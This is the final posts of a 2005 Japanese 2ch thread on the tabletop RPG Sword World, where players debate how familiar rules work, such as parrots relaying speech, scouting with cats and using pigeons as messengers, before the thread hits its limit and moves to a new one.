http://www.geocities.co.jp/SiliconValley-Cupertino/9261/magic/kodaigo/kodaigo5.html#tukaoumukaiwa

971 :NPCさん:2005/07/11(月) 22:07:57 ID:???
> A.僕が虫を却下したのは、「グラスランナーと意思疎通できる」からです。猫に比べて明らかに有利でしょ?
精神点や生命点で差をつければ「明らかに有利」ではないよなぁ。

972 :NPCさん:2005/07/11(月) 22:08:17 ID:???
>>950
次スレよろ

973 :NPCさん:2005/07/11(月) 22:11:27 ID:???
むりぽ

974 :NPCさん:2005/07/11(月) 22:12:16 ID:???
>>971
清松がGMだった時の判断なんだから、その卓のプレイヤーなら黙って従うし、
そうでないのなら参考程度でしょ。

975 :NPCさん:2005/07/11(月) 22:15:56 ID:???
そういや、第3部の海底行った時、
船に残したフィリスの使い魔を通して、船長と会話してなかったか?w

976 :NPCさん:2005/07/11(月) 22:16:15 ID:???
>>974
最近の清松の判断てどっかずれてるよなー、という話。

977 :NPCさん:2005/07/11(月) 22:17:21 ID:???
なあ、魔法使いの常識として使い魔ってのは
「動物に魔法をかけて使い魔にする」ものなのか
「悪魔(もしくはそれに近いもの)を召喚して動物の姿を取らせる」のか
どっちなんだ?

978 :NPCさん:2005/07/11(月) 22:19:47 ID:???
>>975
話はして無い。
何回鳴いたら○○してくれ。野生に戻ったら逃げろ。程度。

979 :NPCさん:2005/07/11(月) 22:20:51 ID:???
>>977
ルールの「動物を召喚して使い魔にしている」では何か問題でも?

980 :NPCさん:2005/07/11(月) 22:21:13 ID:???
>977
SWじゃ、前者。
既存の動物に魔法をかけて従者にするもの。

981 :NPCさん:2005/07/11(月) 22:29:24 ID:???
使い魔で白鳩使ったことある人っている?
どこからどう見てもカラスの方が有利っぽいんだが。

982 :NPCさん:2005/07/11(月) 22:31:52 ID:???
有利不利で選ぶのが全てじゃないからさ〜

983 :NPCさん:2005/07/11(月) 22:36:38 ID:???
さっきからオウムの喋れる言語に制限云々言ってる奴、おかしいぞ

まず、使い魔でできること
・自由に操れる
・使い魔の「動物的な特性」を駆使できる
・使い魔の感覚と術者の感覚はつながっている

つまり、使い魔は術者自身・・術者の動物の姿、または躰の一部と取るべき
『感覚の共通』、『自由に操れる』この点から賢さは術者のモノを使うべきだろう
つまり、オウムの使い魔を得るとする
このばあい、『オウムは人語を理解は出来ない』がそんなことはどうでもいい
『術者の思った通りにオウムに発音させる』→『他キャラからの返事をオウムを介して聞く』→『その返事をオウムに発音させる』
これで会話は可能
オウムが単語を覚えるとかそんな事は全く関係無い

もし、『オウムの賢さ、単語数云々』を使用するのならば凄いことになる。例えば、猫を使い魔とした例を挙げよう
今、猫を使って敵陣を偵察しているとする。猫の視点から見た限り、『杖を持った奴』『丈夫な鎧を着た奴』『ひょろひょろな奴』が居たとする
普通なら、術者は理解できる・・・・はずだが、『猫の賢さを使用する』ことになるので何も解らなかった
となってしまう。それとも、猫に「杖持った奴はソーサラー、軽装備はシーフかシャーマン、重装備はファイター」って教えるんですかw?
すっごく面白いなwww
カエルなんて使い魔にしたら全く何も解らないwあ、カエルって止まってるモノって生き物と認識しないんだよね
ジッと身を潜めて待ち伏せしている人を見つけても術者は解らないんだな

これではファミリアーは何の役にも立たないだろ。そこまでして使い魔の存在意義を無くしたいか?

984 :NPCさん:2005/07/11(月) 22:38:32 ID:???
>983
>『術者の思った通りにオウムに発音させる』
それに関する反論つーより注意点めいたシロモノが>968に

985 :NPCさん:2005/07/11(月) 22:39:29 ID:???
>>983
声帯の都合で、「オウムに自在にしゃべらす」って部分が無理なんだが・・・
まあ、SWの場合はOKらしいが。

986 :NPCさん:2005/07/11(月) 22:40:16 ID:???
>981
つ[帰巣本能]
たとえ1km離れて接続が切れても、必ず独りでに戻ってくる。
ソーサラーが完全に流浪の旅人なら別だけどね。
そん時ゃ、ロケーションで探索するしかないか…

987 :NPCさん:2005/07/11(月) 22:40:17 ID:???
>>983
発音には難があるだろうけどな
とりあえず、オウム自身は単語は覚えなくても有る程度発音できれば十分会話可能か

988 :NPCさん:2005/07/11(月) 22:40:58 ID:???
そんなことより風太くんの使い魔データでも考えようぜ。

989 :NPCさん:2005/07/11(月) 22:42:16 ID:???
>>986
それいいな。
便利だけど常に有用なわけじゃないし。

990 :NPCさん:2005/07/11(月) 22:46:02 ID:???
スレ立ててみる

991 :NPCさん:2005/07/11(月) 22:48:31 ID:???
>鳩
術者から1km離れても、伝書鳩にできるな。宿にいる仲間を呼ぶとか。
(ここ2・3日しか宿泊してない宿でも、そこはホラ、ファミリアーって事でひとつ)
そーいや戦前だか戦後すぐだかまで、新聞記者が記事とか運ばせてたらしい。

992 :NPCさん:2005/07/11(月) 22:50:19 ID:???
>109
ありがとうよ。これで成仏できる。

993 :NPCさん:2005/07/11(月) 22:50:46 ID:???
立てた

直立使い魔大人気 ソードワールド113th
http://game9.2ch.net/test/read.cgi/cgame/1121089644/

994 :NPCさん:2005/07/11(月) 22:53:54 ID:???
>>993
悔しいからこっちで乙

995 :NPCさん:2005/07/11(月) 22:54:09 ID:???
>>993
あえてこっちに書くぜ!


996 :NPCさん:2005/07/11(月) 22:55:07 ID:???
オレもこっちで書くか

>>993


997 :NPCさん:2005/07/11(月) 22:56:03 ID:???
>>983
いや、術者は使い魔の目を自分の目として使えるし

>>993


998 :NPCさん:2005/07/11(月) 22:56:54 ID:???
正直直立しても大して可愛くない...
奴らは四本足でちょこまかしてるからいいのだ!

999 :NPCさん:2005/07/11(月) 22:57:28 ID:???
>>993


1000 :NPCさん:2005/07/11(月) 22:57:32 ID:???
2get

1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。

 /川川   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
∠|| ゚∀) <  一生次スレでやってろ!
 ∪─⊃   \_______________
⊂/_____|
  ∪∪


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